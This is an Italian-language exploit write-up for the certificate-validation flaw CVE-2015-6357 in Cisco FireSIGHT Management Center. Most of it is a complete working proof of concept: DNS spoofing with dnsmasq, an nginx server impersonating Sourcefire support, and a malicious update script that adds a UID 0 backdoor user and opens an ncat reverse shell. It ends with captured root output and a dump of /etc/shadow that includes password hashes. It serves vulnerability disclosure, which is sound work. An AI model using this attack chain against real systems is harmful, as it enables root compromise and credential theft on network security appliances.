
Exploit per la vulnerabilità di convalida dei certificati CVE-2015-6357 di Cisco FireSIGHT Management Center
Da sola, la vulnerabilità di convalida dei certificati di Cisco FireSIGHT Management Center è una vulnerabilità di gravità media con un CVSS di 5.1. Tuttavia, questa vulnerabilità è un esempio del perché la convalida dei certificati SSL sia così importante. In questo exploit dimostrerò come la vulnerabilità può essere sfruttata per ottenere l'esecuzione remota di comandi con privilegi su un sistema Cisco FireSIGHT. L'exploit combina la vulnerabilità di convalida SSL con il processo di aggiornamento software del sistema Cisco FireSIGHT per indurre il sistema target a scaricare un aggiornamento dannoso ed eseguirlo, ottenendo una reverse shell con privilegi root.

L'appliance Cisco FireSIGHT Management Center viene utilizzata per gestire i Cisco FirePOWER Intrusion Prevention Systems (IPS), noti anche come Sourcefire IPS. FireSIGHT è responsabile del download delle firme IPS aggiornate e della loro installazione sui dispositivi IPS gestiti.
Il FireSIGHT Management Center consente a un amministratore di avviare manualmente un aggiornamento delle regole IPS o di programmare gli aggiornamenti con cadenza giornaliera/settimanale/mensile.
Quando il FireSIGHT Management Center esegue un aggiornamento, utilizza il comando UNIX curl per effettuare il download da Sourcefire Support. All'invocazione del comando curl viene passata l'opzione -k (nota anche come --insecure), che indica a curl di non convalidare alcun certificato SSL presentato dal server.
Ecco l'output del comando ps del server mentre scarica un aggiornamento:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
Gli aggiornamenti FireSIGHT si presentano sotto forma di script shell generato da makeself, contenente sia comandi UNIX Bourne shell sia i dati binari da distribuire con l'aggiornamento. Questi script di aggiornamento shell vengono eseguiti direttamente sul server FireSIGHT come utente locale www.
Un attaccante in grado di eseguire un attacco man in the middle contro un server FireSIGHT può costringerlo a connettersi a una versione contraffatta del sito web Sourcefire Support e a scaricare uno script di aggiornamento dannoso che eseguirà sul server FireSIGHT qualsiasi comando desideri l'attaccante.
La vulnerabilità di convalida SSL rende possibile tutto ciò: il sistema ignora allegramente il certificato SSL contraffatto dell'attaccante, scarica l'aggiornamento dannoso e lo esegue.
Se il comando curl convalidasse il certificato SSL, il download dello script dannoso fallirebbe e il server FireSIGHT sarebbe protetto dall'attaccante.
Questo exploit dimostra il pericolo di non convalidare il certificato SSL sfruttando la vulnerabilità per ottenere l'esecuzione remota di comandi come utente root.
Lo scenario d'attacco prevede che un attaccante abbia ottenuto la capacità di intercettare (man in the middle) il traffico dal server FireSIGHT verso il sito web https://support.sourcefire.com. Il modo più semplice per dimostrarlo è configurare un server DNS "compromesso" che risponda alle query per il dominio support.sourcefire.com con l'indirizzo IP di un server web controllato dall'attaccante.
In uno scenario d'attacco reale, l'attaccante può utilizzare numerose tecniche man in the middle per ottenere lo stesso risultato. Ad esempio:
Questo exploit è stato testato sulle seguenti versioni di FireSIGHT Virtual Appliance:
Nel PoC seguente, al server FireSIGHT è stato assegnato l'indirizzo IP 192.168.1.99.
L'host attaccante eseguiva Kali Linux 2.0, anche se la configurazione seguente dovrebbe funzionare su qualsiasi server basato su Debian Linux. L'indirizzo IP dell'host Kali nell'esempio seguente è 192.168.1.1. L'host Kali viene utilizzato per eseguire sia il server DNS sia il sito web contraffatto di Sourcefire Support.
L'exploit richiede la capacità di falsificare la risposta DNS per support.sourcefire.com. Viene eseguito un server dnsmasq per fornire questa funzionalità e fungere da server DNS "compromesso".
Installa dnsmasq:
root@kali# apt-get install dnsmasq
Configura dnsmasq:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Modifica l'indirizzo IP sulla riga address in modo che corrisponda all'indirizzo del server web da cui servirai gli aggiornamenti.
Avvia dnsmasq:
root@kali# service dnsmasq start
È richiesto un server web per servire l'exploit al server FireSIGHT quando questo richiede un aggiornamento.
Installa il server web nginx:
root@kali# apt-get install nginx
Crea un certificato autofirmato per impersonare support.sourcefire.com:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Configura nginx sostituendo il contenuto di /etc/nginx/sites-available/default con:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Avvia nginx:
root@kali# service nginx start
L'exploit FirePWNER richiede che dal server web vengano serviti due file. Il primo file è il manifest dell'aggiornamento, un file XML che contiene un elenco degli aggiornamenti disponibili, la loro posizione di download e gli hash MD5.
Per prima cosa devi creare alcune directory:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Poi copia i file dell'exploit al loro interno:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
Dopo aver copiato questi file, dovresti essere in grado di navigare fino a http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml
Successivamente, a scopo dimostrativo dell'exploit, il server FireSIGHT deve essere configurato per utilizzare il server DNS "compromesso". Accedi al portale web di FireSIGHT e vai su System > Local > Configure > Management Interfaces, imposta il server DNS primario sull'indirizzo IP del server DNS "compromesso" (192.168.1.1) e salva la modifica.
L'exploit utilizza il comando ncat, installato per impostazione predefinita sul server FireSIGHT, per creare una reverse shell verso l'host Kali. Sull'host Kali devi metterti in ascolto per la connessione della reverse shell proveniente dal server FireSIGHT:
root@kali# ncat -v -l 4444
Quindi, sul portale web di FireSIGHT, vai su System > Updates > Rule Updates, seleziona Download new rule update from the Support Site e clicca sul pulsante Import. Il server scaricherà quindi il manifest dell'aggiornamento sf.xml dal server dell'attaccante, rileverà che è disponibile un aggiornamento, scaricherà l'aggiornamento e lo eseguirà come utente www. Lo script di aggiornamento/exploit seguente sfrutta il fatto che l'utente www dispone di una serie di comandi sudo che può eseguire, tra cui useradd. L'exploit crea un nuovo utente toor con password vuota e poi usa su per elevare i privilegi e avviare una connessione reverse shell verso il server dell'attaccante.
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
Lo script dell'exploit può essere modificato per eseguire qualsiasi altro comando desiderato. Se lo script viene modificato, il valore del tag XML <md5sum> in sf.xml deve essere aggiornato con il nuovo hash MD5 dello script dell'exploit.
Questo è un esempio dell'output che dovresti vedere sull'host Kali quando l'exploit ha successo, viene aperta una shell remota sul server FireSIGHT e vengono eseguiti i comandi id e cat /etc/passwd:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
I file utilizzati in questo exploit possono essere ottenuti da github.